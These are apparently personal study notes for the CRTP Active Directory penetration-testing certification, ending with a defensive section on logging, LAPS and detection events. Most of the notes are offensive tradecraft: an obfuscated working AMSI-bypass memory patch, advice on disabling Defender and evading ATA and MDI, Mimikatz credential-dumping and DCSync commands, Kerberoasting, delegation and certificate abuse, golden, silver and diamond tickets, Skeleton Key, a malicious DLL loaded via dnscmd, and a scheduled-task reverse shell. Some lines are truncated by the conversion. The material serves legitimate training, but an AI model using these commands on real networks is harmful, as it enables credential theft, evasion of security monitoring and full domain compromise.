CRTP Notes
CRTP Notes
Contact
LinkedIn: https://www.linkedin.com/in/segev-eliezer/
YouTube: https://YouTube.com/@0xd4y
Website: https://0xd4y.com
GitHub: https://GitHub.com/0xd4y
Table of Contents
Contact
Table of Contents
Module
Enumeration
Domain Policies
Kerberos
User Fields
Identities
Shares
Finding Privesc Pathways
BloodHound
Relationships
Trust Relationships
One-Way Trust
Two-Way Trust
Transitive Trust
Nontransitive Trust
Trust Types
Domain Trusts
Forest Trusts
Avoiding Detection
PowerShell AMSI Bypass
.NET AMSI Bypass
Bypassing AV Signatures
Running SafetyKatz
NetLoader
Other
ATA
Honeypots
Other
Domain Privilege Escalation
Credential Exfiltration
Session Hijack
CRTP Notes 1
Other
Kerberoast
AS-REP Roast
Set-SPN
Kerberos Delegation
Three Types of Kerberos Delegation
DNSAdmins
Enterprise Admins (Child Domain to Forest Root)
Trust Tickets
AD Certificate Service (CS)
Common Misconfigurations
Domain Persistence
Golden Ticket
Silver Ticket
Diamond Ticket
Skeleton Key
DSRM
Custom Security Support Provider (SSP)
Exploitation
ACLs
AdminSDHolder
Rights Abuse
Security Descriptors
Forest Privilege Escalation
MSSQL
Forest Persistence
DCShadow
Privilege Movement
Lateral Movement
Local Privilege Escalation
Common Misconfigurations
Checks
Defense
Advanced Threat Analytics (ATA)
Monitoring Traffic
Kerberoast
ACL Attacks
Stopping Enumeration Techniques
Stopping Golden Ticket
Mitigating Skeleton Key
Password Solutions
Local Administrator Password Solution (LAPS)
Credentials Guard
Deception
Detecting Other Persistence Methods
DSRM & Malicious SSP
Hardening PowerShell
Logging
Bypassing PowerShell Defenses
Other Best Practices
Protected Users Group
Tools
References
Module
ADModule can be used even in ConstrainedLanguage mode because it is signed by Microsoft
CRTP Notes 2
also makes detection harder
PowerView
Enumeration
Domain Policies
Kerberos
Command Description
(Get-DomainPolicy)."Kerberos Policy" Returns MaxTicketAge, MaxServiceAge, MaxClockSkew, etc.
Get-ADDomainController Get domain controllers for current domain
Get-NetDomainController -Domain <DOMAIN_NAME> Get domain controllers for another domain
Get-ADUser -Filter * -Properties * Get all users in domain
Get-UserProperty -Properties pwdlastset Check when password was last set for domain users
Get-ADDomain Get current domain
Get-DomainPolicyData Get password policy, kerberos policy, etc.
the kerberos policy shows MaxTicketAge (max age of TGT in hours), MaxRenewAge (time period in days for which TGT can be
renewed), and MaxServiceAge (max age of TGS in hours)
you cannot list local users on a remote machine without having local admin privileges on that machine
DC contains all the credentials in the domain which allows it to decrypt requests made with a user’s NTLM hash
in first step, user encrypts timestamp with his or her NTLM hash
CRTP Notes 3
DC then checks the clock skew between the user’s timestamp and the DC timestamp (skew should not be more than 5
minutes by default)
user requests TGS from DC when trying to access some resource (e.g. application server)
note the TGS is encrypted with the NTLM hash of the requested service’s service account
requested service can decrypt the TGS as the service knows its own NTLM hash
when DC decrypts TGT, the only validation it performs is whether or not it can decrypt the TGT, and does not validate the
decrypted contents
optional mutual authentication can occur to ensure client doesn’t send TGS to rogue app
optional PAC requests are not enabled by default to avoid bogging down the DC with requests
User Fields
get user’s description fields (sometimes contain passwords in cleartext)
Identities
Command Description
Get-ADComputer -Filter * Returns computers connected to current domain
Get-ADGroup -Filter * Returns all groups in current domain
Get-ADGroupMember -Identity "<GROUP_NAME>" -Recursive Returns users part of specified group
Get-ADPrincipalGroupMembership -Identity <USER> See groups user is a member of
Get-DomainGroup -Username "0xd4y" Find which group 0xd4y is a part of
Invoke-ACLScanner -ResolveGUIDs | ?
{$_.IdentityReferenceName -match " Find permissions identity has for users in domain
<GROUP_NAME_OR_USER_NAME>"}
Shares
Command Description
Invoke-ShareFinder Shows available shares on network
Invoke-FileFinder Find sensitive files on computers in domain
Get-NetFileServer Get all file servers of domain
note that output returned from Invoke-ShareFinder doesn’t necessarily mean you can access the shares, but high chance that you
can
CRTP Notes 4
use PowerView and PowerUp instead
Relationships
Trust Relationships
allows user of a domain or forest to access resources in another domain or forest
One-Way Trust
users in trusted domain can access resources in another domain, but not the reverse
Two-Way Trust
users in both domains can access each other’s resources
Transitive Trust
relationships that are extended with other domains
parent-child
tree-root
CRTP Notes 5
domains A and C have a two-way trust with each other, because they both have a two-way trust with domain B
Nontransitive Trust
cannot be extended to other domains or forests
default trust between domains in different forests when the forests don’t have a trust relationship (aka external trust)
Trust Types
Domain Trusts
Parent-Child Trust
Forest Trusts
established between root domains of forests
CRTP Notes 6
can be found with Get-ADForest
Avoiding Detection
ensure that you bypass system-wide transcription, script block logging, and then AMSI in that order to minimize IOCs
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanB
7;ffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
Bypassing AV Signatures
use AMSITrigger for identifying what part of a script is being detected
CRTP Notes 7
Running SafetyKatz
1. Downloaded latest Mimikatz version and Out-CompressedDLL.ps1
NetLoader
used for loading binary from filepath or URL
DO NOT load a remote binary directly through a URL path that you own, rather use port forwarding to load a binary remotely by
using the loopback address as a proxy
CRTP Notes 8
otherwise, this triggers Defender’s behavior-based detection: executable downloaded from remote web server
make sure to put NetLoader on target disk prior to running the aforementioned commands with echo F | xcopy
C:\PATH\TO\Loader.exe \\follow-0xd4y\C$\PATH\TO\SAVE\Loader.exe
Other
with local admin access, run Set-MpPreference -DisableRealtimeMonitoring $true to temporarily disable Defender
note that it is more silent (and preferred) to use Set-MpPreference -DisableIOAVProtection $true as this will specifically only
target AV
disabling defender through command line does not work for Windows 10 and 11, Windows Server 2022, Windows Server
2019, and Windows Server version 1803 or later
ATA
avoid running Invoke-UserHunter against DCs to prevent logs (e.g. Reconnaissance using SMB session enumeration)
skip running against DCs with -ComputerFile computers.txt where DCs are not in the computers.txt file
triggers 4624 (Account Logon), 4634 (Account Logoff), and in case of success also triggers 4672 (Admin Logon)
for golden tickets and overpass-the-hash, ensure to also add /aes256:<AES256_key> and if possible also /aes128:<AES128_key> to
avoid ATA’s “Encryption downgrade activity” finding
DCSync attacks trigger ATA’s “Malicious replication of Directory Services” finding (only possible to bypass if run from a domain
controller or child domain controller)
with DC NTLM hash, use netsync to extract the hashes of machine accounts (more opsec safe and may bypass MDI)
Honeypots
by checking when a user’s password was last set, you can differentiate actual users from honeypot (decoy) users
compare SID of other users with built-in users (e.g. built-in administrator [RID 500])
you can find the legitimate DC with the logonserver environment variable
objects created by some deception solutions may be filtered out when using WMI for retrieving information
it’s better to look for decoys manually, but this is a good tool for finding obvious honeypots (if logoncount ≥ 6, the user does
not show up)
3. User’s badpwdcount is 0
CRTP Notes 9
note badpwdcount is typically low for service accounts
Other
with local admin access, run Set-MpPreference -DisableRealtimeMonitoring $true to temporarily disable Defender
note that it is more silent (and preferred) to use Set-MpPreference -DisableIOAVProtection $true as this will specifically only
target AV
disabling defender through command line does not work for Windows 10 and 11, Windows Server 2022, Windows Server
2019, and Windows Server version 1803 or later
avoid running targeted LDAP queries (MDI checks for potentially malicious queries)
it is more opsec safe to request for as much as possible and then filter the output (better chances of bypassing MDI)
Credential Exfiltration
Session Hijack
if user has active session in workstation where you have local admin, you can obtain their TGT (even if they are a domain
admin)
add the -CheckAccess parameter to check if you have local admin access
you can then extract the user’s TGT with Invoke-Mimikatz –Command '"sekurlsa::tickets /export"’
Other
These are several different methods to exfiltrate credentials
Invoke-Mimikatz -Command '"token::elevate" Extract creds from credential vault (can contain creds used for
"vault::cred /patch"'
scheduling tasks, web credentials, etc.)
Invoke-Mimikatz -Command '"kerberos::list
/export"'
Extract tickets
Invoke-Mimikatz -Command '"lsadump::lsa
/patch"'
Dump local creds
note the vault exfiltration technique is highly important as this may reveal the creds of additional users
Kerberoast
effective as service accounts are often ignored and passwords are rarely changed
CRTP Notes 10
kerberoast is only effective against users who are being used as service accounts
can be found with Get-NetUser -SPN or Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
because TGS encrypted with service account hash, you can try to perform an offline password attack
Exploitation
# Obtain TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SERVICE>/follow.0xd4y_notes.local"
you can also use PowerView’s Request-SPNTicket and crack with John or Hashcat
when requesting a TGS, you will be detected if forcefully downgrading the encryption to RC4-HMAC
more opsec safe to only request RC4-HMAC encryption for services that only support that encryption, which can be done
with Rubeus.exe kerberoast /stats /rc4opsec
CRTP Notes 11
note that even if the user in Protected Users group, you can still request RC4 encryption in Kerberos
AS-REP Roast
if Kerberos preauth is not required for a user (required by default), you can get a user’s AS-REP and try to crack it
can be found with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
when preauth is not required for the user, you can request authentication data for that user
KDC then responds in step 2 with a TGT encrypted with the user’s NTLM hash
if you have GenericAll or GenericWrite control over a group or user in a group, you can disable preauth for a user
of course you could reset the user’s password instead, but this is less opsec friendly
you could also just set an SPN for the user instead and then kerberoast it
Exploitation
the Set-DomainObject command may result in an Exception calling “GetNames” error, but it may have still worked
Set-SPN
with GenericAll or GenericWrite permissions for a user, you can set the user’s SPN to anything and request a TGS for it (even if
there is no service running for that SPN)
CRTP Notes 12
the TGS can then be saved to disk and cracked
Exploitation
# Request TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "doesnot/matter"
if an error occurs when trying to set an SPN for a user, it may be because the SPN already exists
Kerberos Delegation
delegation allows reuse of credentials to access resources hosted on a different server
4. Web server uses user’s TGT to request a TGS from the DC for the database server
server can access any service on any computer on behalf of that user
note that DCs will always show up as unconstrained and is not an interesting finding
TGT stored in LSASS, so with admin privileges on compromised server, you can extract any user’s TGT that authenticated
to service
great way to privesc, especially when domain admins connect to the service
Printer Bug
abuses MS-RPRN to force any machine running the Spooler service to connect to an arbitrary machine
# Monitor TGTs
Rubeus.exe monitor /interval:5 /nowrap
CRTP Notes 13
# Force target machine to connect to the owned machine
MS-RPRN.exe \\target.0xd4y_notes.local \\owned.0xd4y_notes.local
may result in “RPC server is unavailable” error, but it may have worked (check Rubeus)
works even if DAs are not allowed to connect to non-DC machines because the domain controller account can be used to abuse
this bug
2. Constrained Delegation
server only allowed to access specific services on specific computers on behalf of user
# Find users and computers with constrained delegation enabled (also returns msDS-AllowedToDelegateTo)
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
## Can also use PowerView's "Get-DomainUser -TrustedToAuth" or "Get-DomainComputer -TrustedToAuth"
note you can only specify a service that is allowed by the msDS-AllowedToDelegateTo restriction or a service running under the
same account
especially useful when the service is running under a machine account (can potentially get access to the ldap service
and run a DCSync attack by just impersonating a domain admin!)
no need to wait for user to connect to service as you are not extracting their TGT, you are just impersonating them when
requesting a TGS
Protocol Transition
Suppose a user inputs their username and password in some login form of a web server to access some files. The web server
then needs to authenticate to a file server to obtain the requested files. The major problem is, “Which domain user tried to
access the web server?”. This is step 2:
CRTP Notes 14
1. 0xd4y authenticates to web service
2. Web service requests ticket from KDC for Joe (no password is supplied)
3. KDC checks for the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION attribute on the web server service account, and it also checks that
Joe is not blocked for delegation. Returns a forwardable ticket for Joe’s account if true (S4U2Self).
5. KDC checks msDS-AllowedToDelegateTo field on web server service account. TGS is sent if the service is allowed (S4U2Proxy)
note the big problem in step 2, this means you can access CIFS on file_server.0xd4y_notes.local by impersonating any user
including a domain admin
the service owner chooses who can delegate to it as defined by msDS-AllowedToActOnBehalfOfOtherIdentity (visible as
PrincipalsAllowedToDelegateToAccount )
with GenericAll or GenericWrite to the server, you can run the following:
# Use Rubeus to access HTTP service as domain admin (can pick whatever service you want)
Rubeus.exe s4u /user:0xd4y-comp$ /aes256:<MACHINE_ACCOUNT_HASH> /msdsspn:HTTP/follow-0xd4y /impersonateuser:Administrator /ptt
with write permissions you can instead change the delegation of that machine (e.g. changing constrained to unconstrained),
but this is noisier
DNSAdmins
members of DNSAdmins group can load arbitrary DLLs as system (privileges of dns.exe)
by default they are not able to restart DNS service, but some organizations may have it enabled
Exploitation
# First, serve an arbitrary DLL on some domain-joined workstation that you own
## Then, do the following:
dnscmd <DNS_SERVER> /config /serverlevelplugindll \\<WORKSTATION_YOU_OWN>\malicious.dll
CRTP Notes 15
Enterprise Admins (Child Domain to Forest Root)
enterprise admins have access to all domains in a forest
1. krbtgt hash
2. trust tickets
Suppose you are a user in follow.0xd4y_notes.local and you try to access an app server that is present in the parent domain
(0xd4y_notes.local):
In step 3, the follow.0xd4y_notes.local DC checks its global catalog for the app server the client is requesting. The DC then sees
that the app server does note exist in its own global catalog, but it does exist in the parent domain, so it sends an inter-realm TGT
CRTP Notes 16
(encrypted and signed with the trust key) to the client.
In step 5, the inter-realm TGT is sent to the 0xd4y_notes.local DC whose only validation for the TGT is whether or not it can decrypt
it with the trust key (the same key used to encrypt the TGT). Therefore, we forge an inter-realm TGT wherein we write that there is a
SIDHistory of Enterprise Admins (519).
in the case when the trust is between two different forests, the last part of the SID is stripped as long as it is between 500 to
1000
any ticket that crosses forest trust boundary will therefore not be privileged
this means it is not possible to escalate to EA across forest trusts by abusing SIDHistory
Trust Tickets
when compromising a domain, you can craft golden tickets destined for other domains within the forest
a compromise of one DC in a forest is enough to assume that the forest is fully compromised
note that managed service accounts end with a dollar sign ($)
note the first method is the most opsec safe and still bypasses MDI and log-based detections
# First method of getting trust ticket RC4 hash (run within DC)
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName follow-dc
### Finally run a dcsync attack (you can use SafetyKatz instead of Invoke-Mimikatz just make sure to leave out "-Command" from command)
Invoke-Mimikatz -Command "lsadump::dcsync /user:forest_root\krbtgt /domain:0xd4y.local" "exit"
note the domain (a.k.a intra-realm) trust key is rotated every 30 days automatically and can also be rotated manually
this is unlike inter-forest (a.k.a inter-realm) trust keys which do not automatically rotate
only need DA privileges to get the hash used for forging a TGT
therefore, it is enough to compromise one domain in a forest to compromise the entire forest
note that for the sids parameter, it is more stealthy to use the domain controllers group (S-1-5-21-…-516) and the enterprise
domain controllers group (S-1-5-9), as it avoids some logs
when running remote command on forest root, a 4624 and 4634 will occur (which is normal), but a 4672 Admin Logon event will
be triggered as well which is an anomaly
more opsec safe to use the child DC user to access the forest root DC, rather than using a DA
CRTP Notes 17
server role allowing for building a public key infrastructure (PKI) and public key cryptography, digital certificates, and digital
signature capabilities
certificate is issued to a user or machine for authentication, encryption, or signing among many other capabilities
the certificate template contains the certificate data such as enrollment permissions, EKUs (Extended Key Usages), expiry, etc.
3. Domain persistence
4. DA and EA privesc
Command Description
Certify.exe cas Look for certificate authorities in domain
Certify.exe find Enumerate templates
Certify.exe find /vulnerable Find vulnerable templates
Common Misconfigurations
low-privileged users granted enrollment rights
ESC1 Exploitation
Must have enrollment rights and msPKI-Certificates-Name-Flag must contain the value of ENROLLEE_SUPPLIES_SUBJECT
# Request certificate for DA (you can do the same with an EA, just specify the domain under altname like 0xd4y.local\Administrator)
Certify.exe request /ca:<CA_NAME_VALUE> /template:<TEMPLATE_NAME> /altname:Administrator
# Copy cert to a pem file and then convert to PFX for Rubeus and supply a password of follow_0xd4y
openssl.exe pkcs12 -in C:\PATH\TO\cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\PATH\TO\SAVE\cert.pf
CRTP Notes 18
# When requesting TGT for EA use
Rubeus.exe asktrgt /user:0xd4y.local\Administrator /dc:0xd4y.local /certificate:C\PATH\TO\cert.pfx /password:follow_0xd4y /ptt
Domain Persistence
note that a golden ticket is a TGT while silver ticket is a TGS
especially for the Skeleton Key, DSRM, and CustomSSP methods which downgrade the target organization’s security
Golden Ticket
⭐ DC does not validate contents of decrypted TGT
with hash of krbtgt account, you can forge a TGT and access any resources
if the krbtgt password is changed manually (doesn’t matter how complex it is), it will be automatically updated to a complex
password instead
if you use a golden ticket, ensure you are using it from a machine where a domain administrator has already used before
otherwise you will create a log of a domain admin login from a new workstation
note you can specify a user that does not exist in the domain, but this looks suspicious
you can use /ticket instead to save the ticket to a file for later use
better to use /ptt instead of /ticket to not use old TGTs and to not touch disc (old TGTs are sometimes monitored)
/renewmax:10080 sets ticket renewal lifetime to 7 days which is 10,080 hours (default AD setting)
even if a sysadmin changes the krbtgt password, a golden ticket will still work as krbtgt remembers the previous password
golden ticket attack does not need special local or domain privileges
ensure you also specify the /sids:<ENTERPRISE_DC_GROUP> parameter to decrease chances of detection by MDI
better to just use diamond ticket which has better chances of bypass
Silver Ticket
forged TGS when accessing service
CRTP Notes 19
unless using silver ticket against DC, this silver ticket does not trigger a 4672 (Admin Logon) event
you can get RCE by creating silver ticket for HOST service and creating a scheduled task
schtasks /create /S follow.0xd4y_notes.local /sc Weekly /ru "NT Authority\SYSTEM" /tn: <TASK_NAME> /tr <REVERSE_SHELL_PAYLOAD>
then, run the task with schtasks /run /s follow.0xd4y_notes.local /tn <TASK_NAME>
also possible to execute commands with WMI service (check with gwmi -Class win32_operatingsystem -ComputerName
follow.0xd4y_notes.local )
Getting RCE
schtasks /create /S target.0xd4y_notes.local /SC Weekly /RU "NT Authority\System" /TN "Follow0xd4yTask" /TR "powershell.exe -c 'IEX(New-Obje
schtasks /Run /S target.0xd4y_notes.local /TN "Follow0xd4yTask"
Diamond Ticket
like golden ticket but more opsec safe
instead of crafting a TGT, you request a TGT from the DC, decrypt the TGT and make modifications, and then send back that
TGT to the DC
harder to detect than golden ticket because defenders will see that for the submitted TGT, there was a prior corresponding TGT
request
most detectable when using the modified TGT rather than the initial submission of the modified TGT
ensure you are using it from a workstation that DAs typically use
Skeleton Key
patches DC to allow access to any user with single password
otherwise the following error occurs: ERROR kul_m_misc_skeleton ; Second pattern not found
CRTP Notes 20
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName follow-dc.0xd4y_notes.local
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
!-
DSRM
Directory Service Restore Mode (a.k.a SafeModePassword)
with hash of DSRM password, you can perform a PtH attack to access DC
logon behavior of DSRM account needs to be changed before you can log into it
"DsrmAdminLogonBehavior" -Value 2
logs local logons and service accounts and machine passwords on target server in plaintext
Exploitation
passwords logged to C:\Windows\system32\kiwissp.log
Method 1
CRTP Notes 21
Set-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\System\CurrentControlSet\Control\LSA\ -Name 'Security Packages' -Value $packages
Method 2
Invoke-Mimikatz -Command "misc::memssp"'
writes to LSASS
ACLs
AdminSDHolder
every 60 minutes, by default SDPROP (Security Descriptor Propagator) overwrites ACL of all protected groups with the ACL of
the AdminSDHolder ACL
instead of adding user as a member to a group, you can give the user full permissions over a group
you can verify if it worked with Get-ObjectACL -SamAccountName "<GROUP_NAME>" -ResolveGUIDs | ?{$_.IdentityReference -match '0xd4y'}
with propagated permissions, you can run one of the following (depending on permissions):
Interactive Method
CRTP Notes 22
note when modifying ACL of specific group not within the AdminSDHolder ACL, the changes get overwritten
Non-Interactive Method
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' -Principal 0xd4y
interesting rights to have (can be specified with -Rights ): ResetPassword , WriteMembers , etc.
Rights Abuse
DCsync attack can be performed without being a DA as long as the user at least has replication rights (GenericAll is more than
enough)
match "0xd4y") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
modify domain root ACL to give user Full Control or DCSync permissions
Interactive Method
NonInteractive Method
CRTP Notes 23
Set-ADACL -DistinguishedName 'DC=dollarcorp,DC=moneycorp,DC=local' -Principal 0xd4y -GUIDRight DCSync
Security Descriptors
change namespace security descriptor to allow full access for a user you own
can edit to allow access to PSRemoting, WMI access, Remote registry, etc.
good persistence method as many organizations do not monitor domain object ACLs
PSRemoting
may result in an I/O error, but the command still successfully ran
allows you to have access to remote computer without needing administrative privileges
WMI
after having WMI access, you can execute commands remotely using Invoke-WmiMethod -Class win32_process -Name Create -
On local machine:
On remote machine:
Remote Registry
therefore, you could be a domain admin in one forest, but a normal domain user in a different forest
use Invoke-Mimikatz -Command '"lsadump::lsa /patch"' or Invoke-Mimikatz -Command '"lsadump::trust /patch"' to get the trust key for the
inter-forest trust
inter-forest trust keys do not automatically rotate unlike intra-forest (domain) trust keys
MSSQL
good for lateral movement
if you have a database that is linked to another database, you can potentially run commands on that remote SQL server and
laterally move ( Get-SQLServerLinkCrawl -Instance example-mssql -Query "exec master..xp_cmdshell 'whoami'" -QueryTarget target-mssql )
CRTP Notes 24
this command runs the whoami command across the nodes
without the -QueryTarget parameter, the command will be run on every link in chain
"xp_cmdshell",1;reconfigure;') AT "example-sql"
Command Description
Get-SQLServerLink -Instance example-mssql Find links to remote servers
Get-SQLServerLinkCrawl -Instance example-mssql Enumerate database links
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -
Verbose
Check which SQL servers you can access
Forest Persistence
DCShadow
registers a new domain controller
used to push attributes (SIDHistory, SPN, etc.) specific objects without leaving logs for modified object (no 4662 event or
any other change log event created)
this is because attribute changes from a domain controller does not create change logs
Methodology
# Start RPC servers with SYSTEM privileges and modify attribute (in this example we'll edit the description of the 0xd4y user)
!+
!processtoken
lsadump::dcshadow /object:0xd4y /attribute:Description /value="Subscribe to 0xd4y on YouTube"
you may need to first impersonate a DA with sekurlsa::pth /user:Administrator /domain:0xd4y_notes.local /ntlm:<DA_HASH> /impersonate
to push the changes, you will need to run another mimikatz instance
Privilege Movement
Lateral Movement
Command Description
Find-LocalAdminAccess
Returns machines in current domain where current user has local
CRTP Notes 25
admin access
Log into other computer remotely (works if you have local admin
Enter-PSSession -ComputerName <HOSTNAME>
access on destination computer)
Invoke-Command -ComputerName <HOSTNAME> - Runs command on remote machine(s) Use FilePath instead of
ScriptBlock{<COMMAND>} } ScriptBlock to execute a file
Can be used to extract creds and write to LSASS using Invoke-
Invoke-Mimikatz -ComputerName @("comp1","comp2")
Command and PS remoting
winrs -r:follow-0xd4y whoami Run whoami command on follow-0xd4y computer using WINRM
note only the transport tunnel is in cleartext, but the traffic inside that tunnel is encrypted
note that Invoke-Mimikatz is better to use than mimikatz.exe as it does not require you to write to disc
you can run this remotely within a session: Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Session $session
the winrs command works on a remote computer if you have admin privileges on it
note the password of service accounts are in cleartext when running mimikatz because their passwords are stored in LSA
secrets
stored in HKEY_LOCAL_MACHINE/Security/Policy/Secrets
password in cleartext because this is needed for the service to log in as the service account
you can run commands from local memory when targeting remote computers:
this runs the Invoke-Mimikatz cmdlet from one’s local PS session, and executes it on the remote machine
with the hash of a user, you can start a session using a pass-the-hash attack (make sure you run this with local admin rights!):
after running this, whoami will not show that you are the impersonated user, but you are and have the permissions of that user
CRTP Notes 26
4. Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
you can also extract the krbtgt hash by using DCSync: Invoke-Mimikatz -Command '"lsadump::dcsync /user:vuln_corp\krbtgt"'
misconfigured services (unquoted service path, permission of service is misconfigured, overwrite .exe binary, etc.)
Get-ServiceUnquoted
Get-ModifiableServiceFile
Get-ModifiableService
Invoke-ServiceAbuse
Use the following as it is the least noisy (though still noisy): Invoke-ServiceAbuse -Name <VULNERABLE_SERVICE> -Command "
<COMMAND>"
Invoke-AllChecks
DLL hijacking
AutoLogon enabled → password stored in clear text or easily decryptable (found in registry)
Checks
PowerUp ( Invoke-AllChecks )
in the case of an unquoted service, check if CanRestart is True and it is being run with higher privileges than your current
user ( StartName )
service is not vulnerable if you need to drop a binary in the root ( C:\ ); Admin privs needed for that
BeRoot ( .\beRoot.exe )
Privesc ( Invoke-PrivEsc )
Defense
⭐ In incident response scenarios, run Enter-PSSession -ComputerName <TARGET_COMPUTER> -Credential <CLIENT_DOMAIN>\Administrator , and
type mimikatz as the password. If it works, then this is indicative of skeleton key persistence.
find specific log ID with Get-WinEvent -FilterHashtable @{Logname='Security';ID=<EVENT_ID>} -MaxEvents {NUMBER_OF_EVENTS} | Format-List
-Property *
CRTP Notes 27
traffic to DCs is collected by the ATA, and an activity profile is built over time
Monitoring Traffic
looks for spikes in network traffic
look for 4624 (Account Logon) and 4634 (Account Logoff) event IDs
monitor changes to HKLM\System\CurrentControlSet\Services\DNS\Parameters , look for DNS stops and starts, and monitor event 770
which shows the location from which the DLL was loaded
DA permissions should not be used on any other machine in a properly configured AD environment
Kerberoast
one of the most silent attacks
failure code is 0x0 (only shows success transactions where user received a TGS)
can obtain TGS with Invoke-Mimikatz -Command '"kerberos::list /export"' or with Impacket’s GetUserSPNs script
ACL Attacks
Logs for this attack not enabled by default, otherwise the following events are triggered:
triggers events 4662 (An operation was performed on an object), 5136 (A directory service object was modified), and 4670
ensure that you do not change the password twice within 10 hours, as this will invalidate all the tickets already distributed
(default AD ticket lifetime is 10 hours)
triggers 4624 (Account Logon), 4634 (Account Logoff), and 4672 (Admin Logon)
CRTP Notes 28
Mitigating Skeleton Key
Run LSASS as protected process
skeleton key creates events 7045 (service installed on system - Kernel Mode Driver), 4673 (Sensitive Privilege Use), and 4611
Password Solutions
Local Administrator Password Solution (LAPS)
used to solve the problem of have a local admin on multiple workstations with the same password
computer objects have two new attributes: ms-mcsAdmPwd (stores pass in cleartext) and ms-mcsAdmPwdExpirationTime (stores
password expiration time)
Credentials Guard
available only on Windows 10 or later and Windows Server 2016 or later
Deception
Tricking threat actors into going down pathways that would trigger alerts and waste their time.
create some users with interesting properties that have easy-to-find exploits
you can also create a group, where upon reading the group DACL (discretionary access control list), it triggers a 4662 event
[DsrmAdminLogonBehavior|SecurityPackages] )
Hardening PowerShell
disable PowerShell if nothing is using it in your organization
CRTP Notes 29
if this is possible, ensure System.Management.Automation.dll is blocked, otherwise it is possible to load PowerShell functionality
with .NET code
this is because PowerShell is not powershell.exe , it is System.Management.Automation.dll , the PS console is just a host for
the DLL
do not install PowerShell 6.0.0 (PowerShell Core), instead install PowerShell 5.1 (many security features not supported on
6.0.0)
cannot load .NET classes, type accelerators, arbitrary C# code via add-type, prohibits complex scripts, etc.
Logging
Note that the warning level for the log checks only work against a known list of potentially malicious commands.
You can either enable logging via the registry or via group policies.
enable console logging for everything that uses the PowerShell engine (powershell.exe, PowerShell ISE, .NET DLL, msbuild,
installutil, etc.), and forward logs to a log system
can be found under “Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell
Transcription”
enable script block logging under “Administrative Templates → Windows Components → Windows PowerShell → Turn on
PowerShell” and/or set EnableScriptBlockLogging to 1 under HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
you should also enable logging for modules under “Administrative Templates → Windows Components → Windows PowerShell
→ Turn on Module Logging” and/or set EnableModuleLogging to 1 under
HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging
turn on System-wide transcription to log ALL PowerShell commands, however the logs are not protected
logged under event 400 (Engine state is changed from None to Available) — look for EngineVersion
CRTP Notes 30
modifying modules in memory
check Applocker policy, it may be possible to run some scripts in specified directories
obfuscation
Windows Script Block Logging for the Warning level works by comparing the executed PowerShell command with a list of
known malicious commands
using trusted executables and trusted scripts with code injection (tools that rely on LOLBINs)
can use trusted executable and scripts as a proxy for execution of malicious code (see PowerShdll and nopowershell)
script block logging can be bypassed for the current session without admin privileges
do not allow DAs to log into machines other than the DCs
if it is necessary to log into other machines, limit the machine to only allow administrator logins from DAs
if needed to provide temporary permissions to some entity or vendor, use the following command: Add-ADGroupMember -Identity
if running legacy software that cannot be updated, ensure the app is restricted to certain users or groups
run agent on application and use Azure Application Proxy which will block access from everyone until they input their AD
credentials
CredSSP and WDigest to stop cleartext credential caching, and NTLM hash is not cached
no NTLM authentication
CRTP Notes 31
no delegation
TGT cannot be renewed beyond four hours (this is hardcoded and is unconfigurable)
test the potential impact of an account lockout for DA and EAs before adding to this group
computer and service accounts would not benefit from this group because their credentials will still be present on the host
machine
Tools
1. BloodHound
2. PowerSploit
3. ADModule
4. PowerUpSQL
6. NetLoader
used for loading executables from memory while bypassing EDR solutions
7. SpoolSample
8. Certify
AD CS exploitation
9. Rubeus
Kerberos abuse
References
1. ⭐ Nikhil Mittal’s CRTP course (main source)
https://www.alteredsecurity.com/adlab
